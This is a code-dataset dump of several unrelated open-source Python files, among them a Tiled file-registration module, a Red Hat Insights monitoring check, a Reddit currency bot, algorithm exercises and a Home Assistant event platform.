result:\n unhandled_files.append(file)\n for directory in directories:\n result = await register_single_item(\n catalog,\n directory,\n is_directory=True,\n settings=settings,\n )\n if not result:\n unhandled_directories.append(directory)\n return unhandled_files, unhandled_directories\n\n\nasync def register_single_item(\n catalog,\n item,\n is_directory,\n settings,\n):\n \"Register a single file or directory as a node.\"\n unhandled_items = []\n mimetype = resolve_mimetype(\n item, settings.mimetypes_by_file_ext, settings.mimetype_detection_hook\n )\n if mimetype is None:\n unhandled_items.append(item)\n if not is_directory:\n logger.info(\" SKIPPED: Could not resolve mimetype for '%s'\", item)\n return\n if mimetype not in settings.adapters_by_mimetype:\n logger.info(\n \" SKIPPED: Resolved mimetype '%s' but no adapter found for '%s'\",\n mimetype,\n item,\n )\n unhandled_items.append(item)\n return\n adapter_factory = settings.adapters_by_mimetype[mimetype]\n logger.info(\" Resolved mimetype '%s' with adapter for '%s'\", mimetype, item)\n try:\n adapter = await anyio.to_thread.run_sync(adapter_factory, item)\n except Exception:\n logger.exception(\" SKIPPED: Error constructing adapter for '%s':\", item)\n return\n key = settings.key_from_filename(item.name)\n return await create_node_safe(\n catalog,\n key=key,\n structure_family=adapter.structure_family,\n metadata=dict(adapter.metadata()),\n specs=adapter.specs,\n data_sources=[\n DataSource(\n mimetype=mimetype,\n structure=dict_or_none(adapter.structure()),\n parameters={},\n management=Management.external,\n assets=[\n Asset(\n data_uri=str(ensure_uri(str(item.absolute()))),\n is_directory=is_directory,\n )\n ],\n )\n ],\n )\n\n\n# Matches filename with (optional) prefix characters followed by digits \\d\n# and then the file extension .tif or .tiff.\nTIFF_SEQUENCE_STEM_PATTERN = re.compile(r\"^(.*?)(\\d+)\\.(?:tif|tiff)$\")\nTIFF_SEQUENCE_EMPTY_NAME_ROOT = \"_unnamed\"\n\n\nasync def tiff_sequence(\n catalog,\n path,\n files,\n directories,\n settings,\n):\n \"\"\"\n Group files in the given directory into TIFF sequences.\n\n We are looking for any files:\n - with file extension .tif or .tiff\n - with file name ending in a number\n\n We group these into sorted groups and make one Node for each.\n A group may have one or more items.\n \"\"\"\n unhandled_directories = directories\n unhandled_files = []\n sequences = collections.defaultdict(list)\n for file in files:\n if file.is_file():\n match = TIFF_SEQUENCE_STEM_PATTERN.match(file.name)\n if match:\n sequence_name, _sequence_number = match.groups()\n if sequence_name == \"\":\n sequence_name = TIFF_SEQUENCE_EMPTY_NAME_ROOT\n sequences[sequence_name].append(file)\n continue\n unhandled_files.append(file)\n mimetype = \"multipart/related;type=image/tiff\"\n for name, sequence in sorted(sequences.items()):\n logger.info(\" Grouped %d TIFFs into a sequence '%s'\", len(sequence), name)\n adapter_class = settings.adapters_by_mimetype[mimetype]\n key = settings.key_from_filename(name)\n try:\n adapter = adapter_class(*sequence)\n except Exception:\n logger.exception(\" SKIPPED: Error constructing adapter for '%s'\", name)\n return\n await create_node_safe(\n catalog,\n key=key,\n structure_family=adapter.structure_family,\n metadata=dict(adapter.metadata()),\n specs=adapter.specs,\n data_sources=[\n DataSource(\n mimetype=mimetype,\n structure=dict_or_none(adapter.structure()),\n parameters={},\n management=Management.external,\n assets=[\n Asset(\n data_uri=str(ensure_uri(str(item.absolute()))),\n is_directory=False,\n )\n for item in sorted(sequence)\n ],\n )\n ],\n )\n return unhandled_files, unhandled_directories\n\n\nasync def skip_all(\n catalog,\n path,\n files,\n directories,\n settings,\n):\n \"\"\"\n Skip all files and directories without processing them.\n\n This can be used to override the DEFAULT_WALKERS.\n \"\"\"\n for item in files:\n logger.info(\" SKIP ALL: Nothing yet handled file '%s'\", item)\n return [], directories\n\n\nDEFAULT_WALKERS = [tiff_sequence, one_node_per_item]\n\n\nasync def watch(\n catalog,\n path,\n prefix=\"/\",\n walkers=None,\n adapters_by_mimetype=None,\n mimetypes_by_file_ext=None,\n mimetype_detection_hook=None,\n key_from_filename=None,\n filter=None,\n initial_walk_complete_event=None,\n):\n settings = Settings.init(\n adapters_by_mimetype=adapters_by_mimetype,\n mimetypes_by_file_ext=mimetypes_by_file_ext,\n mimetype_detection_hook=mimetype_detection_hook,\n key_from_filename=key_from_filename,\n filter=filter,\n )\n if initial_walk_complete_event is None:\n initial_walk_complete_event = anyio.Event()\n ready_event = anyio.Event()\n stop_event = anyio.Event()\n async with anyio.create_task_group() as tg:\n # Begin listening for changes.\n tg.start_soon(\n _watch,\n ready_event,\n initial_walk_complete_event,\n stop_event,\n catalog,\n path,\n prefix,\n walkers,\n settings,\n )\n await ready_event.wait()\n # We have begun listening for changes.\n # Now do the initial walk.\n await register(\n catalog,\n path,\n prefix,\n walkers,\n adapters_by_mimetype=settings.adapters_by_mimetype,\n mimetypes_by_file_ext=settings.mimetypes_by_file_ext,\n mimetype_detection_hook=settings.mimetype_detection_hook,\n key_from_filename=settings.key_from_filename,\n filter=settings.filter,\n )\n # Signal that initial walk is complete.\n # Process any changes that were accumulated during the initial walk.\n await initial_walk_complete_event.set()\n\n\nasync def _watch(\n ready_event,\n initial_walk_complete_event,\n stop_event,\n catalog,\n path,\n prefix,\n walkers,\n settings,\n):\n def watch_filter(change, path):\n return settings.filter(Path(path))\n\n await ready_event.set()\n backlog = []\n async for batch in watchfiles.awatch(\n path,\n watch_filter=watch_filter,\n yield_on_timeout=True,\n stop_event=stop_event,\n rust_timeout=1000,\n ):\n if (backlog is not None) and batch:\n logger.info(\n \"Detected changes, waiting to process until initial walk completes\"\n )\n backlog.extend(batch)\n if (backlog is not None) and initial_walk_complete_event.is_set():\n logger.info(\"Watching for changes in '%s'\", path)\n if backlog:\n logger.info(\n \"Processing backlog of changes that occurred during initial walk...\"\n )\n await process_changes(\n batch,\n catalog,\n path,\n prefix,\n walkers,\n settings,\n )\n backlog = None\n elif batch:\n # We are caught up. Process changes immediately.\n logger.info(\"Detected changes\")\n await process_changes(\n batch,\n catalog,\n path,\n prefix,\n walkers,\n settings,\n )\n\n\nasync def process_changes(\n batch,\n catalog,\n path,\n prefix,\n walkers,\n settings,\n):\n for change in batch:\n change_type, change_path = change\n logger.info(\" %s '%s'\", change_type.name, change_path)\n # TODO Be more selective.\n # We should be able to re-register only a select portion of the\n # full tree. For now, we ignore the change batch content and just\n # use the change as a timing signal to re-register the whole tree.\n await register(\n catalog,\n path,\n prefix,\n walkers,\n adapters_by_mimetype=settings.adapters_by_mimetype,\n mimetypes_by_file_ext=settings.mimetypes_by_file_ext,\n mimetype_detection_hook=settings.mimetype_detection_hook,\n key_from_filename=settings.key_from_filename,\n filter=settings.filter,\n )\n\n\nasync def create_node_safe(\n catalog,\n *args,\n key,\n **kwargs,\n):\n \"Call catalog.create_node(...) and if there is a collision remove the original.\"\n try:\n return await catalog.create_node(*args, key=key, **kwargs)\n except Collision as err:\n # To avoid ambiguity include _neither_ the original nor the new one.\n offender = await catalog.lookup_adapter([key])\n await offender.delete_tree()\n logger.warning(\n \" COLLISION: Multiple files would result in node at '%s'. Skipping all.\",\n err.args[0],\n )\n\n\ndef dict_or_none(structure):\n if structure is None:\n return None\n return dataclasses.asdict(structure)\n","repo_name":"bluesky/tiled","sub_path":"tiled/catalog/register.py","file_name":"register.py","file_ext":"py","file_size_in_byte":17548,"program_lang":"python","lang":"en","doc_type":"code","stars":48,"dataset":"github-code","pt":"37"} +{"seq_id":"17706261549","text":"#!/usr/bin/python3\n# Name: check_insight.py\n#\n# Description: Print out summary of detected issues received from Red Hat Insight\n# Prereq: latest version of Red Hat Insight installed on the system and system registered to Satelite or cloud.redhat.com.\n#\n# Author: Magnus Glantz, sudo@redhat.com, 2020\n\n# Import required modules\nimport sys \nimport os\nimport subprocess\ntry:\n import simplejson as json\nexcept ImportError:\n import json\nimport rpm\nimport argparse\n\n# We need to discard some info to /dev/null later on\nDEVNULL = open(os.devnull, 'wb')\n\n# Argument parsing and --help\nparser = argparse.ArgumentParser(usage='%(prog)s [options]')\nparser.add_argument('--mon', metavar='true|false', default='false', help='Activating monitoring mode enables all below options - otherwise ignored. Default: false')\nparser.add_argument('--wtotal', metavar='0-999', type=int, default=4, help='Sets warning level for total nr of accumulated issues. Default: 4')\nparser.add_argument('--ctotal', metavar='0-999', type=int, default=12, help='Sets critical level for total nr of accumulated issues. Default: 12')\nparser.add_argument('--wall', metavar='0-999', type=int, default=0, help='Overrides all below. Sets same warning level for all types (but not total), nr of issues. Default: 0')\nparser.add_argument('--call', metavar='0-999', type=int, default=0, help='Overrides all below. Sets same critical level for all types (but not total), nr of issues. Default: 0')\nparser.add_argument('--wstab', metavar='0-999', type=int, default=1, help='Sets warning level for stability issues, nr of issues. Default: 1')\nparser.add_argument('--cstab', metavar='0-999', type=int, default=3, help='Sets critical level for stability issues, nr of issues. Default: 3')\nparser.add_argument('--wavail', metavar='0-999', type=int, default=1, help='Sets warning level for availability issues, nr of issues. Default: 1')\nparser.add_argument('--cavail', metavar='0-999', type=int, default=3, help='Sets critical level for availability issues, nr of issues. Default: 3')\nparser.add_argument('--wsec', metavar='0-999', type=int, default=1, help='Sets warning level for security issues, nr of issues. Default: 1')\nparser.add_argument('--csec', metavar='0-999', type=int, default=3, help='Sets critical level for security issues, nr of issues. Default: 3')\nparser.add_argument('--wperf', metavar='0-999', type=int, default=1, help='Sets warning level for performance issues, nr of issues. Default: 1')\nparser.add_argument('--cperf', metavar='0-999', type=int, default=3, help='Sets critical level for performance issues, nr of issues. Default: 3')\nparser.add_argument('--wexit', metavar='0-999', type=int, default=1, help='Sets exit code for warning. Nagios compliant default: 1')\nparser.add_argument('--cexit', metavar='0-999', type=int, default=2, help='Sets exit code for critical. Nagios compliant default: 2')\nparser.add_argument('-o', '--output', default=\"text\", choices=['text', 'json'], help='Do you want output as text or json?')\nargs = parser.parse_args()\n\n# Passed arguments\nmon = args.mon\n\n# If we are in monitoring mode deal with all the rest of the parameters as well\nif mon == \"true\":\n wstab = args.wstab\n cstab = args.cstab\n wavail = args.wavail\n cavail = args.cavail\n cperf = args.cperf\n wperf = args.wperf\n wsec = args.wsec\n csec = args.csec\n wexit = args.wexit\n cexit = args.cexit\n ctot = args.ctotal\n wtot = args.wtotal\n call = args.call\n wall = args.wall\n\n# If --wall is set, set all warning levels to whatever was set\n if wall != 0:\n wstab = wall\n wavail = wall\n wsec = wall\n wperf = wall\n\n# If --call is set, set all critical levels to whatever was set\n if call != 0:\n cstab = call\n cavail = call\n csec = call\n cperf = call\n\n# Check for the insights-client package, if it's not installed, nothing below will work.\nts = rpm.TransactionSet()\nmi = ts.dbMatch( 'name', 'insights-client' )\n\nrpmhit=0\nfor h in mi:\n if h['name'] == 'insights-client':\n rpmhit=1\n break\n\nif rpmhit == 0:\n print('Unknown: Package insights-client not installed (or too old). Install using: dnf install insights-client')\n sys.exit(3)\n\n# Check if the system has registered to Satellite or cloud.redhat.com\nif not os.path.isfile('/etc/insights-client/.registered'):\n print('Unknown: You need to register to Red Hat Insights by running: insights-client register')\n sys.exit(3)\n\n# Remove .lastupload identifier if it exists\nif os.path.isfile('/etc/insights-client/.lastupload'):\n os.remove('/etc/insights-client/.lastupload')\n \ntry:\n subprocess.run(['insights-client'], check = True, stdout=DEVNULL, stderr=DEVNULL)\nexcept subprocess.CalledProcessError:\n print('Unknown: insights-client failed to check in. Run: insights-client for more information.')\n sys.exit(3)\n\ntry:\n subprocess.run(['insights-client', '--check-result'], check = True, stdout=DEVNULL, stderr=DEVNULL)\nexcept subprocess.CalledProcessError:\n print('Unknown: insights-client failed to check result. Run: insights-client --check-result for more information.')\n sys.exit(3)\n\n# Remove stdout file\nif os.path.isfile('/tmp/insights-result'):\n os.remove('/tmp/insights-result')\n\ntry:\n os.system('insights-client --show-result >/tmp/insights-result')\n if not os.system('insights-client --show-result >/tmp/insight-result') == 0:\n raise Exception('insights-client command failed')\nexcept:\n print('Unknown: insights-client failed to get results. Run: insights-client --show-results for more information.')\n sys.exit(3)\n\nif not os.path.isfile('/etc/insights-client/.lastupload'):\n print('Unknown: insights-client failed to get result from cloud.redhat.com. Run: insights-client --show-results for more information.')\n sys.exit(3)\n\n# Open the existing json file for loading into a variable\nwith open('/tmp/insights-result') as f:\n datastore = json.load(f)\n\n# Count how many hit we have in total\ntotal_issues = 0\nfor rule in datastore:\n total_issues += 1\n\n# Count how many of those are security issues\nsecurity_issues = 0\nfor item in datastore:\n if item['rule']['category']['name'] == \"Security\":\n security_issues += 1\n\n# Count how many of those are performance issues\nperformance_issues = 0\nfor item in datastore:\n if item['rule']['category']['name'] == \"Performance\":\n performance_issues += 1\n\n# Count how many of those are stability issues\nstability_issues = 0\nfor item in datastore:\n if item['rule']['category']['name'] == \"Stability\":\n stability_issues += 1\n\n# Count how many of those are availability issues\navailability_issues = 0\nfor item in datastore:\n if item['rule']['category']['name'] == \"Availability\":\n availability_issues += 1\n\nif args.output == 'json':\n print('{ \\'total\\': ', total_issues,\n ', \\'security\\': ', security_issues,\n ', \\'availability\\': ', availability_issues,\n ', \\'stability\\': ', stability_issues,\n ', \\'performance\\': ', performance_issues,\n ' }', sep=\"\")\nelse:\n print('Total issues: ', total_issues,\n '. Security issues: ', security_issues,\n '. Availability issues: ', availability_issues,\n '. Stability issues: ', stability_issues,\n '. Performance issues: ', performance_issues,\n sep=\"\")\n\n# We are not in monitoring mode, so let's exit with 0\nif mon == \"false\" or mon == \"False\":\n sys.exit(0)\n\n# If monitoring mode has been activated, let's evaluate warning and critical levels and exit accordingly\nif mon == \"true\" or mon == \"True\":\n# If something has hit critical levels, we exit with critical exit code\n if total_issues >= ctot or security_issues >= csec or availability_issues >= cavail or stability_issues >= cstab or performance_issues >= cperf:\n sys.exit(cexit)\n# If something has hit warning levels, we exit with warning exit code\n elif total_issues >= wtot or security_issues >= wsec or availability_issues >= wavail or stability_issues >= wstab or performance_issues >= wperf:\n sys.exit(wexit)\n# If we're here, all went OK and we exit with 0\n else:\n sys.exit(0)\n","repo_name":"mglantz/check_insights","sub_path":"check_insights.py","file_name":"check_insights.py","file_ext":"py","file_size_in_byte":8179,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"2469934768","text":"\"\"\"\n给你一个区间列表,请你删除列表中被其他区间所覆盖的区间。\n\n只有当c <= a且b <= d时,我们才认为区间[a,b) 被区间[c,d) 覆盖。\n\n在完成所有删除操作后,请你返回列表中剩余区间的数目。\n\n来源:力扣(LeetCode)\n链接:https://leetcode.cn/problems/remove-covered-intervals\n著作权归领扣网络所有。商业转载请联系官方授权,非商业转载请注明出处。\n\neg1:\n输入:intervals = [[1,4],[3,6],[2,8]]\n输出:2\n解释:区间 [3,6] 被区间 [2,8] 覆盖,所以它被删除了。\n\"\"\"\nfrom typing import Optional, List\n\n\nclass Solution:\n def removeCoveredIntervals(self, intervals: List[List[int]]) -> int:\n intervals = sorted(intervals, key=lambda x: (x[0], -x[1]))\n left = intervals[0][0]\n right = intervals[0][1]\n\n relt = 0\n for i in range(1, len(intervals)):\n # 情况一,找到覆盖区间\n if left <= intervals[i][0] and right >= intervals[i][1]:\n relt += 1\n # 情况二,找到相交区间,合并\n if intervals[i][0] < right < intervals[i][1]:\n right = intervals[i][1]\n # 情况三,完全不相交,更新起点和终点\n if intervals[i][0] > left:\n left = intervals[i][0]\n right = intervals[i][1]\n return len(intervals) - relt\n\n\nif __name__ == '__main__':\n solution = Solution()\n print(solution.removeCoveredIntervals([[1,4],[3,6],[2,8]]))\n\n","repo_name":"TQQ615/leetcode","sub_path":"贪心/区间问题/删除被覆盖的区间.py","file_name":"删除被覆盖的区间.py","file_ext":"py","file_size_in_byte":1532,"program_lang":"python","lang":"zh","doc_type":"code","stars":1,"dataset":"github-code","pt":"37"} +{"seq_id":"70036977386","text":"'''\nmodule for implementation\nof convex hull algorithm\n'''\n\nclass Point:\n\n def __init__(self, x, y):\n self.x = x\n self.y = y\n \ndef Left_index(points: int): \n\n min_num = 0\n\n for i in range(1, len(points)):\n\n if (points[i].x < points[min_num].x):\n min_num = i\n\n elif (points[i].x == points[min_num].x):\n\n if (points[i].y > points[min_num].y):\n min_num = i\n\n return min_num\n \ndef orientation(p, q, r): \n\n val = (q.y - p.y) * (r.x - q.x) - (q.x - p.x) * (r.y - q.y)\n\n if (val == 0):\n return 0\n\n elif (val > 0):\n return 1\n\n else:\n return 2\n \ndef convex_hull(points: list, n: int):\n\n '''\n finding the convex hull of a given\n set of points using jarvis\n algorithm\n ''' \n\n if (n < 3):\n return\n\n l = Left_index(points)\n hull = []\n p = l \n q = 0\n result = []\n\n while (True): \n\n hull.append(p)\n q = (p + 1) % n\n\n for i in range(n):\n\n if (orientation(points[p], points[i], points[q]) == 2):\n q = i\n\n p = q\n\n if (p == l): \n break\n\n for each in hull:\n result.append((points[each].x, points[each].y))\n\n return result\n\n'''\nPyAlgo\nDevansh Singh, 2021\n'''","repo_name":"4RCAN3/PyAlgo","sub_path":"pyalgo/maths/convex_hull.py","file_name":"convex_hull.py","file_ext":"py","file_size_in_byte":1300,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"37"} +{"seq_id":"70986599146","text":"from .common import ILElement, split_tokens\nfrom .local import ILLocal\nfrom .instructions import ILInstruction, ILNoOperation\nfrom .fragment import CFragment\n\nclass ILBlock(ILElement):\n IGNORED_INSTRUCTIONS = ['.maxstack']\n INSTRUCTION_CONSTRUCTORS = {\n 'nop': ILNoOperation\n }\n\n def __init__(self, lines, start):\n self.locals = []\n self.entry_point = False\n self.instructions = []\n while start < len(lines):\n line = lines[start]\n if line[0] in ILBlock.IGNORED_INSTRUCTIONS:\n start += 1\n continue\n if line[0] == '}':\n break\n elif line[0] == '.entrypoint':\n self.entry_point = True\n elif line[0] == '.try':\n self.instructions.append(ILTry(lines, start + 1))\n self.locals.extend(self.instructions[-1].locals)\n start = self.instructions[-1].end\n elif line[0:2] == ['.locals', 'init']:\n init_parts = split_tokens(line, ['(', ')'])\n if init_parts[1] != []:\n self.locals.extend(ILLocal(l) for l in split_tokens(init_parts[1], [',']))\n else:\n label = line[0][:-1] if line[0][-1] == ':' else None\n opcode_index = 1 if line[0][-1] == ':' else 0\n opcode_parts = line[opcode_index].split('.')\n opcode = opcode_parts[0]\n args = opcode_parts[1:] + line[opcode_index + 1:]\n if opcode in ILBlock.INSTRUCTION_CONSTRUCTORS:\n self.instructions.append(ILBlock.INSTRUCTION_CONSTRUCTORS[opcode](label, args))\n else:\n print('NYI op %s will be emitted as no-op' % (opcode))\n start += 1\n if start >= len(lines):\n raise Exception('Unterminated block')\n self.end = start\n\n def as_c_fragment(self, class_id, method_id, catch_branch=None):\n c_statements = []\n for instruction in self.instructions:\n args = [catch_branch]\n if isinstance(instruction, ILTry):\n args = [class_id, method_id, catch_branch]\n c_statements.append(instruction.as_c_fragment(*args))\n return CFragment(\n entry_class=class_id if self.entry_point else None,\n entry_method=method_id if self.entry_point else None,\n text=';'.join(list(s.text for s in c_statements) + ['']))\n\n\nclass ILTry(ILElement):\n next_try_number = 0\n\n def __init__(self, lines, start):\n self.locals = []\n self.block = ILBlock(lines, start)\n self.locals.extend(self.block.locals)\n if self.block.end + 2 >= len(lines) or lines[self.block.end + 1][0] != 'catch':\n raise Exception('Try block without catch block')\n self.type = lines[self.block.end + 1][1]\n self.catch = ILBlock(lines, self.block.end + 2)\n self.locals.extend(self.catch.locals)\n self.end = self.catch.end\n\n def as_c_fragment(self, class_id, method_id, outer_catch_branch=None):\n try_id = 'catch' + str(ILTry.next_try_number)\n ILTry.next_try_number += 1\n catch_branch = CFragment(\n text='if (sm_caught(%0s)) goto %1s',\n format_vars=[self.type, try_id])\n return CFragment(\n text=\"\"\"\n %0s\n goto %1s_end;\n %1s:\n %2s\n %1s_end:\n sw_nop()\n \"\"\",\n format_vars=[\n self.block.as_c_fragment(class_id, method_id, catch_branch),\n try_id,\n self.catch.as_c_fragment(class_id, method_id, outer_catch_branch),\n ])\n","repo_name":"lukedsmalley/oo-kernel-hacking","sub_path":"src/aottool/libaottool/block.py","file_name":"block.py","file_ext":"py","file_size_in_byte":3262,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"37"} +{"seq_id":"40956213997","text":"import praw\nimport config\nimport authentication\nimport wpb as database\nimport time\nimport json\n\n#Logs a message\ndef log(message: str) :\n print(time.strftime(\"%Y-%m-%d %H:%M:%S\", time.gmtime()) + \": \" + message)\n if config.logfile is not None :\n with open(config.path + \"/\" + config.logfile, 'a') as f :\n f.write(time.strftime(\"%Y-%m-%d %H:%M:%S\", time.gmtime()) + \": \" + message + '\\n')\n\n#Logs into Reddit, returning the Reddit instance\ndef login() :\n r = praw.Reddit(username=authentication.username,\n password=authentication.password,\n client_id=authentication.client_id,\n client_secret=authentication.client_secret,\n user_agent=\"WPB4\")\n log('Authenticated')\n return r\n\n#Process a list of PMs, looking for commands in them\ndef processinbox(r: praw.Reddit, accountsdb) :\n for message in r.inbox.unread() :\n r.inbox.mark_read([message])\n body = message.body.split()\n body[0] = body[0].lower()\n user = ''\n if \"!bal\" in body[0] :\n if len(body) == 2 and (not config.privatebalances or message.author.name in config.mods):\n user = body[1]\n else :\n user = message.author.name\n balance = database.balance(user, accountsdb)\n message.reply(\"User \" + user + \" has \" + str(balance) + \" \" + config.currencyname + config.signature)\n log(message.author.name + \" queried \" + user +\"'s balance, which is \" + str(balance))\n continue\n if \"!newa\" in body[0] or \"!createa\" in body[0]:\n if database.balance(message.author.name) == None :\n database.createaccount(message.author.name, accountsdb, config.startingbalance)\n message.reply(\"Account created. Your starting balance is \" + str(config.startingbalance) + \" \" + config.currencyname + config.signature)\n log(message.author.name + \" created a new account\")\n else :\n message.reply(\"You already have an account. Your balance is \" + str(database.balance(message.author.name)) + \" \" + config.currencyname + config.signature)\n continue\n if (\"!delete\" in body[0] or \"!close\" in body[0]) and len(body) == 1 :\n if database.balance(message.author.name) == None :\n message.reply(\"You don't have an account.\" + config.signature)\n else :\n database.deleteaccount(message.author.name, accountsdb)\n message.reply(\"Your account has been deleted.\" + config.signature)\n log(message.author.name + \" deleted their account\")\n continue\n if \"!trans\" in body[0] or \"!send\" in body[0]:\n if len(body) < 3 :\n message.reply(\"Error: command `!transfer` takes 2 arguments, not \" + str(len(body) - 1) + config.signature)\n continue\n if database.balance(message.author.name, accountsdb) == None :\n message.reply(\"You currently don't have an account. Run !newacc to create an account.\" + config.signature)\n continue\n if database.balance(body[1], accountsdb) == None :\n message.reply(\"The target user, \" + body[1] + \" does not have an account.\" + config.signature)\n continue\n try :\n amt = int(body[2])\n if amt <= 0 :\n message.reply(\"Error: amount cannot be negative or zero\" + config.signature)\n continue\n if amt > database.balance(message.author.name, accountsdb) :\n message.reply(\"Error: amount is greater than your available balance, which is \" + str(database.balance(message.author.name, accountsdb)))\n continue\n database.change(message.author.name, amt * -1, accountsdb)\n database.change(body[1], amt, accountsdb)\n message.reply(\"Transfer successful! Your available balance is now \" + str(database.balance(message.author.name, accountsdb)) + \" \" + config.currencyname + config.signature)\n r.redditor(body[1]).message(\"You received a transfer\", \"You were sent \" + str(amt) + \" \" + config.currencyname + \" from u/\" + message.author.name + config.signature)\n log(message.author.name + \" transferred \" + str(amt) + \" to \" + body[1] + \"; new balance = \" + str(database.balance(message.author.name, accountsdb)))\n continue\n except ValueError :\n message.reply(\"Error: amount must be an integer\" + config.signature)\n continue\n mc = modcommand(message, accountsdb)\n if \"!\" in body[0] and not mc:\n message.reply(\"Command \\\"\" + body[0] + \"\\\" not found.\" + config.signature)\n if config.markread :\n continue\n if not mc :\n r.inbox.mark_unread([message])\n time.sleep(config.sleeptime)\n\n\n#Check a message for mod commands. Returns true if a command was\n# found and processed, false if no commands were found or the user\n# is not a mod. This function returns true if a command was found, even if\n# there was a syntax error in it\ndef modcommand(message, accountsdb) :\n body = message.body.split()\n reply = \"\"\n if message.author.name not in config.mods :\n return False\n if \"!delete\" in body[0] or \"!close\" in body[0] :\n for i in range(1,len(body)) :\n if database.balance(body[i], accountsdb) != None :\n database.deleteaccount(body[i], accountsdb)\n reply += \"Successfully deleted \" + body[i] +\"'s account\\n\\n\"\n log(message.author.name + \" deleted \" + body[i] + \"'s account\")\n else :\n reply += body[i] + \" does not have an account\\n\\n\"\n message.reply(reply + config.signature)\n return True\n if \"!add\" in body[0] or \"!credit\" in body[0] :\n if len(body) != 3 :\n message.reply(\"Error: `!credit` requires 2 arguments, not \" + (len(body)-1) + config.signature)\n return True\n if database.balance(body[1], accountsdb) == None :\n message.reply(\"Error: user \" + body[1] + \" does not have an account\" + config.signature)\n return True\n try :\n amt = int(body[2])\n database.change(body[1], amt, accountsdb)\n log(message.author.name + \" changed \" + body[1] + \"'s balance by \" + str(amt))\n message.reply(\"The command executed successfully. \" + body[1] + \" now has \" + str(database.balance(body[1], accountsdb)) + \" \" + config.currencyname)\n return True\n except ValueError :\n message.reply(\"Error: \\\"\" + body[2] +\"\\\" is not an integer\" + config.signature)\n return True\n if \"!deduct\" in body[0] or \"!debit\" in body[0] or \"!dock\" in body[0] or \"!remove\" in body[0] or \"!subtract\" in body[0]:\n if len(body) != 3 :\n message.reply(\"Error: `!debit` requires 2 arguments, not \" + (len(body)-1) + config.signature)\n return True\n if database.balance(body[1], accountsdb) == None :\n message.reply(\"Error: user \" + body[1] + \" does not have an account\" + config.signature)\n return True\n try :\n amt = int(body[2]) * -1\n if amt > 0 :\n amt *= -1\n database.change(body[1], amt, accountsdb)\n log(message.author.name + \" changed \" + body[1] + \"'s balance by \" + str(amt))\n message.reply(\"The command executed successfully. \" + body[1] + \" now has \" + str(database.balance(body[1], accountsdb)) + \" \" + config.currencyname)\n return True\n except ValueError :\n message.reply(\"Error: \\\"\" + body[2] +\"\\\" is not an integer\" + config.signature)\n return True\n return False\n\n#Give points to top posts\ndef awardposts(r, accountsdb) :\n alreadycommented = []\n with open ('alreadycommented.json', 'r') as f :\n alreadycommented = json.load(f)\n if int(time.time())%21600 >= config.sleeptime :\n return alreadycommented\n for post in r.subreddit(config.subreddit).hot(limit = 12) :\n if post.stickied or database.balance(post.author.name, accountsdb) == None or post.score < 80 :\n continue\n elif post.score >= config.tierscore[0] and post.score < config.tierscore[1] :\n tier = config.tier[0]\n elif post.score >= config.tierscore[1] and post.score < config.tierscore[2] :\n tier = config.tier[1]\n elif post.score >= config.tierscore[2] and post.score < config.tierscore[3] :\n tier = config.tier[2]\n elif post.score >= config.tierscore[3] and post.score < config.tierscore[4] :\n tier = config.tier[3]\n elif post.score >= config.tierscore[4] :\n tier = config.tier[4]\n award = post.score // 10\n database.change(post.author.name, award, accountsdb)\n log(post.author.name + \" gained \" + str(award) + \" for post \" + post.id)\n if post.id not in alreadycommented :\n post.reply (\"Hello! I am the bot (that you subscribed to) that awards \" + config.currencyname + \" to good posts. I am pleased\"+\n \" to inform you that your post has reached the \" + tier + \" tier. As such, I am awarding you \" + str(award) + \" \" + config.currencyname + \" for this post. I will update\" +\n \" you if you earn more. I check the top 12 posts ever six hours. Pinned posts are unfortunately not eligible. You've got \" + str(database.balance(post.author.name, accountsdb)) + \" \" + config.currencyname + \" now.\")\n alreadycommented.append(post.id)\n else :\n post.author.message(\"Your account balance has increased\",\"Your account balance has increased by \" + str(award) + \" \" + config.currencyname + config.signature)\n with open('alreadycommented.json', 'w') as f :\n json.dump(alreadycommented)\n","repo_name":"NateNate60/WilardPointsBot","sub_path":"reddit.py","file_name":"reddit.py","file_ext":"py","file_size_in_byte":10013,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"37"} +{"seq_id":"3431819495","text":"import logging\n\nfrom homeassistant.components.event import EventDeviceClass, EventEntity\nfrom homeassistant.config_entries import ConfigEntry\nfrom homeassistant.core import HomeAssistant, callback\nfrom homeassistant.helpers.entity_platform import AddEntitiesCallback\n\nfrom .api.apartment import DigitalstromButton\nfrom .const import CONF_DSUID, DOMAIN\nfrom .entity import DigitalstromEntity\n\n_LOGGER = logging.getLogger(__name__)\n\nBUTTON_PRESS_TYPES: dict[int, str] = {\n 0: \"single_press\",\n 1: \"double_press\",\n 2: \"triple_press\",\n 3: \"quadruple_press\",\n 4: \"hold_start\",\n 5: \"hold_repeat\",\n 6: \"hold_end\",\n 7: \"single_click\",\n 8: \"double_click\",\n 9: \"triple_click\",\n 11: \"single_press\",\n 12: \"single_press\",\n 14: \"single_press\",\n}\n\nGROUP_MAP: dict[int, str] = {\n 1: \"Light\",\n 2: \"Cover\",\n 3: \"Heating\",\n 4: \"Audio\",\n 5: \"Video\",\n 8: \"Joker\",\n 9: \"Cooling\",\n 10: \"Ventilation\",\n 11: \"Window\",\n 12: \"Recirculation\",\n 13: \"Awnings\",\n 48: \"Temperature Control\",\n}\n\n\nasync def async_setup_entry(\n hass: HomeAssistant,\n config_entry: ConfigEntry,\n async_add_entities: AddEntitiesCallback,\n) -> None:\n \"\"\"Set up the event platform.\"\"\"\n client = hass.data[DOMAIN][config_entry.data[CONF_DSUID]][\"client\"]\n apartment = hass.data[DOMAIN][config_entry.data[CONF_DSUID]][\"apartment\"]\n events = []\n for device in apartment.devices.values():\n if device.button:\n events.append(DigitalstromButtonEvent(device.button))\n _LOGGER.debug(\"Adding %i events\", len(events))\n async_add_entities(events)\n\n\nclass DigitalstromButtonEvent(EventEntity, DigitalstromEntity):\n def __init__(self, button) -> None:\n super().__init__(button.device, \"E\")\n self.channel = button\n self.group = button.device.button_group\n self._attr_name = self.device.name\n self._attr_has_entity_name = False\n self._attr_device_class = EventDeviceClass.BUTTON\n self._attr_event_types = list(\n set(\n [\"call_device_scene\", \"call_group_scene\", \"unknown\"]\n + list(BUTTON_PRESS_TYPES.values())\n )\n )\n self.entity_id = f\"{DOMAIN}.{self.device.dsuid}\"\n if not self.device.button_used:\n self._attr_entity_registry_enabled_default = False\n if self.group not in [0, 255]:\n 